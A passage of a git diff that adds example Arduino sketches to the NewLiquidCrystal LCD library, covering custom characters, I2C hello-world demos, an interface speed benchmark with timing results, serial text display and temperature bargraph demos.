{0x0,0xe,0x15,0x17,0x11,0xe,0x0}; +uint8_t heart[8] = {0x0,0xa,0x1f,0x1f,0xe,0x4,0x0}; +uint8_t duck[8] = {0x0,0xc,0x1d,0xf,0xf,0x6,0x0}; +uint8_t check[8] = {0x0,0x1,0x3,0x16,0x1c,0x8,0x0}; +uint8_t cross[8] = {0x0,0x1b,0xe,0x4,0xe,0x1b,0x0}; +uint8_t retarrow[8] = { 0x1,0x1,0x5,0x9,0x1f,0x8,0x4}; + + +const byte backLightpin = 5; +//const byte backLightpin = 10; +const byte contrast_pin = 6; + +void setup () { + //lcd.begin(16,2); + lcd.begin(20,4); + lcd.clear(); + // lcd.backlight(); + // lcd.setBacklightPin(3); + // lcd.setBacklight(1); + pinMode(backLightpin, OUTPUT); + analogWrite(backLightpin, 210); + pinMode(contrast_pin, OUTPUT); + analogWrite(contrast_pin, 40); + lcd.createChar(0, bell); + lcd.createChar(1, note); + lcd.createChar(2, clock); + lcd.createChar(3, heart); + lcd.createChar(4, duck); + lcd.createChar(5, check); + lcd.createChar(6, cross); + lcd.createChar(7, retarrow); + } + +// display all keycodes +void displayKeyCodes(void) { + uint8_t i = 0; + while (1) { + lcd.clear(); + lcd.print("Codes 0x"); lcd.print(i, HEX); + lcd.print("-0x"); lcd.print(i+16, HEX); + lcd.setCursor(0, 1); + for (int j=0; j<16; j++) { + lcd.write(i+j); + } + i+=16; + + delay(10000); + }} + + +void loop () { + displayKeyCodes(); +} diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde b/libraries/NewliquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde new file mode 100644 index 0000000..d0fd78c --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde @@ -0,0 +1,61 @@ +#include +#include + + + +#define BACKLIGHT_PIN 13 + +LiquidCrystal_I2C lcd(0x38); // Set the LCD I2C address + +//LiquidCrystal_I2C lcd(0x38, BACKLIGHT_PIN, POSITIVE); // Set the LCD I2C address + + +// Creat a set of new characters +const uint8_t charBitmap[][8] = { + { 0xc, 0x12, 0x12, 0xc, 0, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0, 0, 0, 0 }, + { 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0, 0x0 }, + { 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0, 0x0 }, + { 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0x0 }, + { 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0x0 }, + { 0x0, 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0x0 }, + { 0x0, 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0x0 } + +}; + +void setup() +{ + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + // Switch on the backlight + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite ( BACKLIGHT_PIN, HIGH ); + + lcd.begin(16,2); // initialize the lcd + + for ( int i = 0; i < charBitmapSize; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } + + lcd.home (); // go home + lcd.print("Hello, ARDUINO "); + lcd.setCursor ( 0, 1 ); // go to the next line + lcd.print (" FORUM - fm "); + delay ( 1000 ); +} + +void loop() +{ + lcd.home (); + // Do a little animation by writing to the same location + for ( int i = 0; i < 2; i++ ) + { + for ( int j = 0; j < 16; j++ ) + { + lcd.print (char(random(7))); + } + lcd.setCursor ( 0, 1 ); + } + delay (200); +} diff --git a/libraries/NewliquidCrystal/examples/HelloWorld_si2c/HelloWorld_si2c.ino b/libraries/NewliquidCrystal/examples/HelloWorld_si2c/HelloWorld_si2c.ino new file mode 100644 index 0000000..368ee27 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/HelloWorld_si2c/HelloWorld_si2c.ino @@ -0,0 +1,54 @@ + +#include + +LiquidCrystal_SI2C lcd(0x4e,2,1,0,4,5,6,7); + +// Creat a set of new characters +const uint8_t charBitmap[][8] = { + { 0xc, 0x12, 0x12, 0xc, 0, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0, 0, 0, 0 }, + { 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0, 0x0 }, + { 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0, 0x0 }, + { 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0, 0x0 }, + { 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0x0 }, + { 0x0, 0x0, 0x0, 0x6, 0x9, 0x9, 0x6, 0x0 }, + { 0x0, 0x0, 0x0, 0xc, 0x12, 0x12, 0xc, 0x0 } + +}; + +void setup() +{ + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + lcd.begin (16,2); + lcd.setBacklightPin(3, POSITIVE); + lcd.setBacklight(HIGH); + + for ( int i = 0; i < charBitmapSize; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } + + lcd.home (); // go home + lcd.print("Hello, Arduino "); + lcd.setCursor ( 0, 1 ); // go to the next line + for ( int i = 0; i < 8; i++ ) + lcd.print (char(i)); + delay ( 1000 ); +} + +void loop() +{ + lcd.home (); + // Do a little animation by writing to the same location + for ( int i = 0; i < 2; i++ ) + { + for ( int j = 0; j < 16; j++ ) + { + lcd.print (char(random(7))); + } + lcd.setCursor ( 0, 1 ); + } + delay (500); +} + diff --git a/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde b/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde new file mode 100644 index 0000000..3a485a3 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.pde @@ -0,0 +1,281 @@ +static char dummyvar; // dummy declaration for STUPID IDE!!!! +/*---------------------------------------------------------------------------- + * vi:ts=4 + * + * LCDiSpeed - LCD Interface Speed + * + * Created by Bill Perry 2012-03-16 + * Copyright 2012 - Under creative commons license 3.0: + * Attribution-NonCommercial-ShareAlike 3.0 Unported (CC BY-NC-SA 3.0) + * license page: http://creativecommons.org/licenses/by-nc-sa/3.0/ + * + * Sketch to measure and report the speed of the interface to the LCD and + * speed of updating the LCD. + * + * It runs a Frames/Sec (FPS) test which writes a "frame" of each digit 0-9 to + * the display. + * A "frame" is a full display of characters. + * It is created by positioning the cursor to the begining of each row + * and then writing a character to every position on the row, until the + * entire display is filled. + * The FPS test does a frame of 9's then 8's, .... down to 0's + * On fast interfaces it will not normally be seen. + * + * The sketch will then calculate & report transfer speeds and + * LCD update rates to the LCD display. + * + * Reported Information: + * - Single byte transfer speed (ByteXfer) + * This is the time it takes for a single character to be sent from + * the sketch to the LCD display. + * + * - Frame/Sec (FPS) + * This is the number of times the full display can be updated + * in one second. + * + * - Frame Time (Ftime) + * This is the amount of time it takes to update the full LCD display. + * + * + * The sketch will also report "independent" FPS and Ftime values. + * These are timing values that are independent of the size of the LCD under test. + * Currently they represent the timing for a 16x2 LCD + * The value of always having numbers for a 16x2 display + * is that these numbers can be compared to each other since they are + * independent of the size of the actual LCD display that is running the test. + * + * All times & rates are measured and calculeted from what a sketch "sees" + * using the LiquidCrystal API. + * It includes any/all s/w overhead including the time to go through the + * Arduino Print class and LCD library. + * The actual low level hardware times are obviously lower. + * + * History + * 2012.03.15 bperrybap - Original creation + * + * @author Bill Perry - bperrybap@opensource.billsworld.billandterrie.com + *---------------------------------------------------------------------------- + +/* + * Define your LCD size + */ +#define LCD_COLS 16 +#define LCD_ROWS 2 + +/* + * Pick your interface. + */ + +//#define LCDIF_4BIT +//#define LCDIF_I2C +//#define LCDIF_SR2W +//#define LCDIF_SR_2W // SR in 2 wire mode +//#define LCDIF_SR_3W // SR in 3 wire mode +//#define LCDIF_SR3W +//#define LCDIF_SR1W +#define LCDIF_SI2C + +/* + * Options + */ + +#define FPS_iter 1 // number of iterations to repeat each "frame" within the test + // (current frame test is 10 full display frames, 1 for each digits 0-9) + // FPS_iter like 100 will allow the frames to be seen + // Note: the only reason other than visual to make this larger than 1 + // might be to compensate for Async serial buffering should a serial interface be tested + // even with 1 iteration, 340 bytes are written for a 16x2 display + // bytes written = FPS_iter * ((LCD_ROWS * LCD_COLS) + LCD_ROWS) * 10 + +#define iLCD // turn on code to calculate speed of "independent" sized display +#define iLCD_ROWS 2 // independent FPS row size +#define iLCD_COLS 16 // independent FPS col size + + +#define DELAY_TIME 3500 // delay time to see information on lcd + +#if defined(LCDIF_4BIT) + +// Include the Liquid Crystal library code: +#include + +// initialize the library with the numbers of the interface pins +// lcd(RS, E, d4, d5, d6, d7, bl, polarity) +#ifdef BACKLIGHT_ON +LiquidCrystal lcd( 8, 9, 4, 5, 6, 7, 10, POSITIVE); // new constructor with backlight support +#else +LiquidCrystal lcd( 8, 9, 4, 5, 6, 7); // old style constructor w/o backlight (to test old library) +#endif + +#elif defined(LCDIF_I2C) +#include +#include + +LiquidCrystal_I2C lcd(0x38); // Set the LCD I2C address + + +#elif defined(LCDIF_SR3W) +#include + // d,clk,strb, en,rw,rs,d4,d5,d6,d7,bl,blpol +//LiquidCrystal_SR3W lcd (2, 3, 4, 6, 7, 1, 2, 3, 4, 5, 0, POSITIVE); +LiquidCrystal_SR3W lcd(3, 2, 4); + +#elif defined(LCDIF_SR2W) + +#include + // d, clk, (blPolarity optional, defaults to POSITIVE) +LiquidCrystal_SR2W lcd (2, 3); + +#elif defined(LCDIF_SR1W) + +#include +LiquidCrystal_SR1W lcd (2); + +#elif defined(LCDIF_SR_2W) + +#include + // d, clk +LiquidCrystal_SR lcd (2, 3); + +#elif defined(LCDIF_SR_3W) + +#include + // d,clk,strb +LiquidCrystal_SR lcd (2, 3, 4); + +#elif defined(LCDIF_SI2C) + +#include + +LiquidCrystal_SI2C lcd(0x4e,2,1,0,4,5,6,7); + +#endif + +void setup() +{ + // set up the LCD's number of columns and rows: + lcd.begin(LCD_COLS, LCD_ROWS); +lcd.setBacklightPin(3, POSITIVE); + lcd.setBacklight(HIGH); +#ifdef BACKLIGHT_ON + lcd.backlight(); // make sure backlight is on with new library +#endif +} + +void loop() +{ +unsigned long etime; +char buf[8]; + + lcd.clear(); + + + /* + * Time an FPS test + */ + + etime = timeFPS(FPS_iter, LCD_COLS, LCD_ROWS); + + /* + * show the average single byte xfer time during the FPS test + */ + showByteXfer(etime); + + /* + * show FPS rate and Frame update time for this display + */ + + sprintf(buf, "%dx%d", LCD_COLS, LCD_ROWS); + showFPS(etime, buf); + +#ifdef iLCD + /* + * calculate Independent FPS and Frame update time + * (rate & time for a "standard" display - default of 16x2) + * This is simply a matter of scaling the time based on the + * ratio of the display sizes. + */ + + etime = etime *iLCD_ROWS * iLCD_COLS / LCD_ROWS / LCD_COLS; + + /* + * show independent FPS rate & Frame update time + */ + sprintf(buf, "%dx%d", iLCD_COLS, iLCD_ROWS); + showFPS(etime, buf); +#endif + +} + +unsigned long timeFPS(uint8_t iter, uint8_t cols, uint8_t rows) +{ +char c; +unsigned long stime, etime; + + stime = micros(); + for(c = '9'; c >= '0'; c--) // do not change this unless you change the FPS/ByteXfer calcuations as well + { + for(uint8_t i = 0; i < iter; i++) + { + for(uint8_t row = 0; row < rows; row++) + { + lcd.setCursor(0, row); + for(uint8_t col = 0; col< cols;col++) + { + lcd.write(c); + } + } + } + } + etime = micros(); + return((etime-stime)); +} +void showFPS(unsigned long etime, const char *type) +{ +float fps; + + + /* + * calculate Frame update time and FPS rate + * The 10.0 is for the 10 frames done per iteration + * one for each digit 0-9 + */ + + fps = (10.0 * FPS_iter) * 1000000.0/(etime); + + + lcd.clear(); + lcd.print(type); + lcd.print("FPS: "); + lcd.print(fps); + + if(LCD_ROWS > 1) + { + lcd.setCursor(0,1); + } + else + { + delay(DELAY_TIME); + lcd.clear(); + } + lcd.print("Ftime: "); + lcd.print((etime)/10.0/FPS_iter/1000); + lcd.print("ms"); + + delay(DELAY_TIME); +} +void showByteXfer(unsigned long etime) +{ + lcd.clear(); + lcd.print("ByteXfer: "); + /* + * Calculate average byte xfer time from time of FPS test + * This takes into consideration the set cursor position commands which + * are single byte commands and take the same amount of time as a data byte write. + * The final result is rounded up to an integer. + */ + lcd.print((int) (etime / (FPS_iter * (10.0 * (LCD_COLS * LCD_ROWS + LCD_ROWS)))+0.5)); + lcd.print("uS"); + + delay(DELAY_TIME); +} diff --git a/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt b/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt new file mode 100644 index 0000000..b59d013 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/LCDiSpeed/LCDiSpeed.txt @@ -0,0 +1,20 @@ +16Mhz AVR +Interface ByteXfer 16x2FPS Ftime +---------------------------------------------- +4BIT 338uS 86.92 11.51ms (orignal Liquid Crystal) +4BIT 98uS 298.58 3.35ms +SR2W 76uS 388.62 2.57ms +SR_2W 72uS 406.90 2.46ms +SR_3W 61uS 480.03 2.08ms +SR3W 102uS 287.92 3.47ms + + +80Mhz Pic32 (ChipKit Uno32) +Interface ByteXfer 16x2FPS Ftime +---------------------------------------------- +4BIT 232uS 126.73 7.89ms (orignal mpide Liquid Crystal) +4BIT 57uS 517.41 1.93ms +SR2W 53uS 557.35 1.79ms +SR_2W 53uS 554.66 1.80ms +SR_3W 50uS 591.40 1.69ms +SR3W 56uS 524.91 1.91ms diff --git a/libraries/NewliquidCrystal/examples/SerialDisplay/SerialDisplay.pde b/libraries/NewliquidCrystal/examples/SerialDisplay/SerialDisplay.pde new file mode 100644 index 0000000..ce21e1c --- /dev/null +++ b/libraries/NewliquidCrystal/examples/SerialDisplay/SerialDisplay.pde @@ -0,0 +1,37 @@ +/* + * Displays text sent over the serial port (e.g. from the Serial Monitor) on + * an attached LCD. + */ +#include +#include + +#define BACKLIGHT_PIN 13 + +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x38 + +void setup() +{ + pinMode ( BACKLIGHT_PIN, OUTPUT ); + lcd.begin (16,2); + digitalWrite ( BACKLIGHT_PIN, HIGH ); + + Serial.begin(57600); +} + +void loop() +{ + // when characters arrive over the serial port... + if (Serial.available()) + { + // wait a bit for the entire message to arrive + delay(100); + // clear the screen + lcd.clear(); + // read all the available characters + while (Serial.available() > 0) + { + // display each character to the LCD + lcd.write(Serial.read()); + } + } +} diff --git a/libraries/NewliquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde b/libraries/NewliquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde new file mode 100644 index 0000000..5eaad1f --- /dev/null +++ b/libraries/NewliquidCrystal/examples/i2cLCDextraIO/i2cLCDextraIO.pde @@ -0,0 +1,246 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 1/1/12. +// Copyright 2011 - Under creative commons license: +// Attribution-NonCommercial-ShareAlike CC BY-NC-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file i2CLCDextraIO.pde +// Temperature logging to demonstrate the I2CLCDextraIO library. +// +// @brief This application is a demostration file for the I2CLCDextraIO library +// that reads a temperature from the internal ATMEGA328p temperature sensor +// and displays it on the LCD. The application also demonstrates some of the +// methods of the library, such as loading custom characters to the LCD, +// moving around the LCD, and writing to it. +// +// @author F. Malpartida +// --------------------------------------------------------------------------- +#include +#include + +#define _LCD_I2C_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + + +/*! + @defined CHAR_WIDTH + @abstract Character witdth of the display, expressed in pixeles per character. +*/ +#define CHAR_WIDTH 5 + +/*! + @defined BACKLIGHT_PIN + @abstract LCD backlight pin definition. + @discussion AVR pin used for the backlight illumintation of the LCD. +*/ +#define BACKLIGHT_PIN 7 + +/*! + @defined TEMP_CAL_OFFSET + @abstract Temperature calibration offset. + @discussion This is the offset value that has to be modified to get a + correct temperature reading from the internal temperature sensor + of your AVR. +*/ +#define TEMP_CAL_OFFSET 334 + +/*! + @defined FILTER_ALP + @abstract Low pass filter alpha value + @discussion This value defines how much does the current reading, influences + the over all value. The smaller, the less influence the current + reading has over the overall result. +*/ +#define FILTER_ALP 0.1 + +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; + +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x20 for a 16 chars and 2 line display +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGHT_PIN, POSITIVE); +#endif +const int CONTRAST_PIN = 9; +const int CONTRAST = 65; + + + +LCD *myLCD = &lcd; + +static double tempFilter; + + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. +*/ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 }, + { 0xe, 0x11, 0x11, 0x11, 0xe, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0x0, 0, 0, 0} +}; + +/*! + @function + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @result Free RAM available. +*/ + +static int freeMemory() +{ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +} + +/*! + @function + @abstract Returns AVR328p internal temperature + @discussion Configures the ADC MUX for the temperature ADC channel and + waits for conversion and returns the value of the ADC module + @result The internal temperature reading - in degrees C +*/ + +static int readTemperature() +{ + ADMUX = 0xC8; // activate interal temperature sensor, + // using 1.1V ref. voltage + ADCSRA |= _BV(ADSC); // start the conversion + while (bit_is_set(ADCSRA, ADSC)); // ADSC is cleared when the conversion + // finishes + + // combine bytes & correct for temperature offset (approximate) + return ( (ADCL | (ADCH << 8)) - TEMP_CAL_OFFSET); +} + +/*! + @function + @abstract Braws a bargraph onto the display representing the value passed. + @discussion Draws a bargraph on the specified row using barLength characters. + @param value[in] Value to represent in the bargraph + @param row[in] Row of the LCD where to display the bargraph. Range (0, 1) + for this display. + @param barlength[in] Length of the bar, expressed in display characters. + @param start[in] Start bar character + @param end [in] End bar character + + @result None +*/ +static void drawBars ( int value, uint8_t row, uint8_t barLength, char start, + char end ) +{ + int numBars; + + // Set initial titles on the display + myLCD->setCursor (0, row); + myLCD->print (start); + + // Calculate the size of the bar + value = map ( value, -30, 50, 0, ( barLength ) * CHAR_WIDTH ); + numBars = value / CHAR_WIDTH; + + // Limit the size of the bargraph to barLength + if ( numBars > barLength ) + { + numBars = barLength; + } + myLCD->setCursor ( 1, row ); + + // Draw the bars + while ( numBars-- ) + { + myLCD->print ( char( 5 ) ); + } + + // Draw the fractions + numBars = value % CHAR_WIDTH; + myLCD->print ( char(numBars) ); + myLCD->setCursor (barLength + 1, row); + myLCD->print (end); + +} + +void setup () +{ + int i; + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + Serial.begin ( 57600 ); + analogReference ( INTERNAL ); + +#ifdef _LCD_4BIT_ + pinMode(CONTRAST_PIN, OUTPUT); + lcd.backlight(); + digitalWrite(BACKLIGHT_PIN, HIGH); + analogWrite (CONTRAST_PIN, CONTRAST); +#else + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite(BACKLIGHT_PIN, HIGH); +#endif + + myLCD->begin ( 16, 2 ); + + // Load custom character set into CGRAM + for ( i = 0; i < charBitmapSize; i++ ) + { + myLCD->createChar ( i, (uint8_t *)charBitmap[i] ); + } + Serial.println ( freeMemory () ); + + myLCD->clear (); + myLCD->print ("Temp:"); + + tempFilter = readTemperature (); // Initialise the temperature Filter + +} + + +void loop () +{ + int temp; + + temp = readTemperature(); + tempFilter = ( FILTER_ALP * temp) + (( 1.0 - FILTER_ALP ) * tempFilter); + + myLCD->setCursor ( 8, 0 ); + myLCD->print (" "); + myLCD->setCursor ( 8, 0 ); + myLCD->print ( tempFilter, 1 ); + myLCD->setCursor ( 12, 0 ); + myLCD->print ( "\x07" ); + myLCD->print ("C"); + drawBars ( tempFilter, 1, 14, '-', '+' ); + + delay (200); +} diff --git a/libraries/NewliquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino b/libraries/NewliquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino new file mode 100644 index 0000000..f981507 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/i2cLCDextraIO_tempLeonardo/i2cLCDextraIO_tempLeonardo.ino @@ -0,0 +1,332 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 1/1/12. +// Copyright 2011 - Under creative commons license: +// Attribution-NonCommercial-ShareAlike CC BY-NC-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file i2CLCDextraIO_tempLeonardo.ino +// Temperature logging to demonstrate the I2CLCDextraIO library. +// +// @brief This application is a demostration file for the I2CLCDextraIO library +// that reads a temperature from the internal ATMEGA32U4 temperature sensor +// and displays it on the LCD. The application also demonstrates some of the +// methods of the library, such as loading custom characters to the LCD, +// moving around the LCD, and writing to it. +// +// @author F. Malpartida +// --------------------------------------------------------------------------- +#include +#include +#include + +#define _LCD_SR3W_ + +#ifdef _LCD_I2C_ +#include +#endif + +#ifdef _LCD_4BIT_ +#include +#endif + + +#ifdef _LCD_SR_ +#include +#endif + +#ifdef _LCD_SR3W_ +#include +#endif + + +/*! + @defined CHAR_WIDTH + @abstract Character witdth of the display, expressed in pixeles per character. +*/ +#define CHAR_WIDTH 5 + +/*! + @defined BACKLIGHT_PIN + @abstract LCD backlight pin definition. + @discussion AVR pin used for the backlight illumintation of the LCD. +*/ +#define BACKLIGHT_PIN 12 + +/*! + @defined STATUS_PIN + @abstract Status LED indicator. + @discussion Activity LED blinking indicating that the system is up. +*/ +#define STATUS_PIN 13 + +/*! + @defined LOOP_DELAY + @abstract Main loop delay. + @discussion Main loop delay executing temperature readings and LCD updates. +*/ +#define LOOP_DELAY 300 + +/*! + @defined TEMP_CAL_OFFSET + @abstract Temperature calibration offset. + @discussion This is the offset value that has to be modified to get a + correct temperature reading from the internal temperature sensor + of your AVR. +*/ +#define TEMP_CAL_OFFSET 282 + +/*! + @defined FILTER_ALP + @abstract Low pass filter alpha value + @discussion This value defines how much does the current reading, influences + the over all value. The smaller, the less influence the current + reading has over the overall result. +*/ +#define FILTER_ALP 0.1 + +/*! + @defined MIN_TEMP + @abstract Minimum temperature range for bargraph + +*/ +#define MIN_TEMP -10 + +/*! + @defined MAX_TEMP + @abstract Maximum temperature range for bargraph + +*/ +#define MAX_TEMP 50 + +extern unsigned int __bss_end; +extern unsigned int __heap_start; +extern void *__brkval; + + +// Initialise LCD module +// ----------------------------------------------------------------------------- +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGHT_PIN, POSITIVE); +const int CONTRAST_PIN = 9; +const int CONTRAST = 65; +#endif + +#ifdef _LCD_SR_ +LiquidCrystal_SR lcd(3,2,TWO_WIRE); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin +#endif + +#ifdef _LCD_SR3W_ +LiquidCrystal_SR3W lcd(3, 2, 4); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin +#endif + + +// LCD reference variable +LCD *myLCD = &lcd; + +// Temperature filter variable +static double tempFilter; + +/*! + @const charBitmap + @abstract Define Character bitmap for the bargraph. + @discussion Defines a character bitmap to represent a bargraph on a text + display. The bitmap goes from a blank character to full black. +*/ +const uint8_t charBitmap[][8] = { + { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, + { 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x10, 0x0 }, + { 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x0 }, + { 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x0 }, + { 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x1E, 0x0 }, + { 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x0 }, + { 0xe, 0x11, 0x11, 0x11, 0xe, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0x0, 0, 0, 0} +}; + +/*! + @function + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @result Free RAM available. +*/ +static int freeMemory() +{ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +} + +/*! + @function + @abstract Returns AVR328p internal temperature + @discussion Configures the ADC MUX for the temperature ADC channel and + waits for conversion and returns the value of the ADC module + @result The internal temperature reading - in degrees C +*/ + +static int readTemperature() +{ + ADMUX = 0xC7; // activate interal temperature sensor, + // using 2.56V ref. voltage + ADCSRB |= _BV(MUX5); + + ADCSRA |= _BV(ADSC); // start the conversion + while (bit_is_set(ADCSRA, ADSC)); // ADSC is cleared when the conversion + // finishes + + // combine bytes & correct for temperature offset (approximate) + return ( (ADCL | (ADCH << 8)) - TEMP_CAL_OFFSET); +} + +/*! + @function + @abstract Braws a bargraph onto the display representing the value passed. + @discussion Draws a bargraph on the specified row using barLength characters. + @param value[in] Value to represent in the bargraph + @param row[in] Row of the LCD where to display the bargraph. Range (0, 1) + for this display. + @param barlength[in] Length of the bar, expressed in display characters. + @param start[in] Start bar character + @param end [in] End bar character + + @result None +*/ +static void drawBars ( int value, uint8_t row, uint8_t barLength, char start, + char end ) +{ + int numBars; + + // Set initial titles on the display + myLCD->setCursor (0, row); + myLCD->print (start); + + // Calculate the size of the bar + value = map ( value, MIN_TEMP, MAX_TEMP, 0, ( barLength ) * CHAR_WIDTH ); + numBars = value / CHAR_WIDTH; + + // Limit the size of the bargraph to barLength + if ( numBars > barLength ) + { + numBars = barLength; + } + myLCD->setCursor ( 1, row ); + + // Draw the bars + while ( numBars-- ) + { + myLCD->print ( char( 5 ) ); + } + + // Draw the fractions + numBars = value % CHAR_WIDTH; + myLCD->print ( char(numBars) ); + myLCD->setCursor (barLength + 1, row); + myLCD->print (end); + +} + +/*! + @function + @abstract Initialise the HW + @discussion Initialise the HW used within this application: UART, LCD & IOs + @param + @result +*/ + +static void initHW ( void ) +{ + int i; + int charBitmapSize = (sizeof(charBitmap ) / sizeof (charBitmap[0])); + + Serial.begin ( 57600 ); + + // Hardware initialise + // ------------------------------------ + + //ADCSRA |= (1 << ADEN); // Initialise ADC block (no need done by env) + + // Initialise LCD HW: backlight and LCD + // ------------------------------------- +#ifdef _LCD_4BIT_ + pinMode(CONTRAST_PIN, OUTPUT); + analogWrite (CONTRAST_PIN, CONTRAST); +#endif + +#ifdef _LCD_I2C_ + pinMode ( BACKLIGHT_PIN, OUTPUT ); + digitalWrite (BACKLIGHT_PIN, HIGH); +#endif + pinMode ( STATUS_PIN, OUTPUT ); + + myLCD->begin ( 20, 2 ); + // Load custom character set into CGRAM + // -------------------------------------------------------------------- + for ( i = 0; i < charBitmapSize; i++ ) + { + myLCD->createChar ( i, (uint8_t *)charBitmap[i] ); + } +} + +void setup () +{ + initHW(); + + Serial.println ( freeMemory () ); + myLCD->clear (); + myLCD->print ( F("Free Mem: ")); + myLCD->print ( freeMemory () ); + delay ( 2000 ); + myLCD->clear (); + myLCD->print (F("Temp:")); + myLCD->setCursor ( 8, 0 ); + + tempFilter = 0; + myLCD->print ( readTemperature() ); +} + + +void loop () +{ + int temp; + static byte status = 1; + + status ^= 1; + digitalWrite ( STATUS_PIN, status); + + temp = readTemperature(); + tempFilter = ( FILTER_ALP * temp) + (( 1.0 - FILTER_ALP ) * tempFilter); + + // Display the information to the LCD + myLCD->setCursor ( 8, 0 ); + myLCD->print (" "); + myLCD->setCursor ( 8, 0 ); + myLCD->print ( tempFilter, 1 ); + myLCD->setCursor ( 12, 0 ); + myLCD->print ( "\x07" ); + myLCD->print ("C"); + drawBars ( tempFilter, 1, 14, '-', '+' ); + + delay (LOOP_DELAY); +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/examples/performanceLCD/performanceLCD.pde b/libraries/NewliquidCrystal/examples/performanceLCD/performanceLCD.pde new file mode 100644 index 0000000..1ddb5b7 --- /dev/null +++ b/libraries/NewliquidCrystal/examples/performanceLCD/performanceLCD.pde @@ -0,0 +1,497 @@ +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file performanceLCD.h +// This sketch implements a simple benchmark for the New LiquidCrystal library. +// +// @brief +// This sketch provides a simple benchmark for the New LiquidCrystal library. It +// enables to test the varios classes provided by the library giving a performance +// reference. +// +// This library is only compatible with 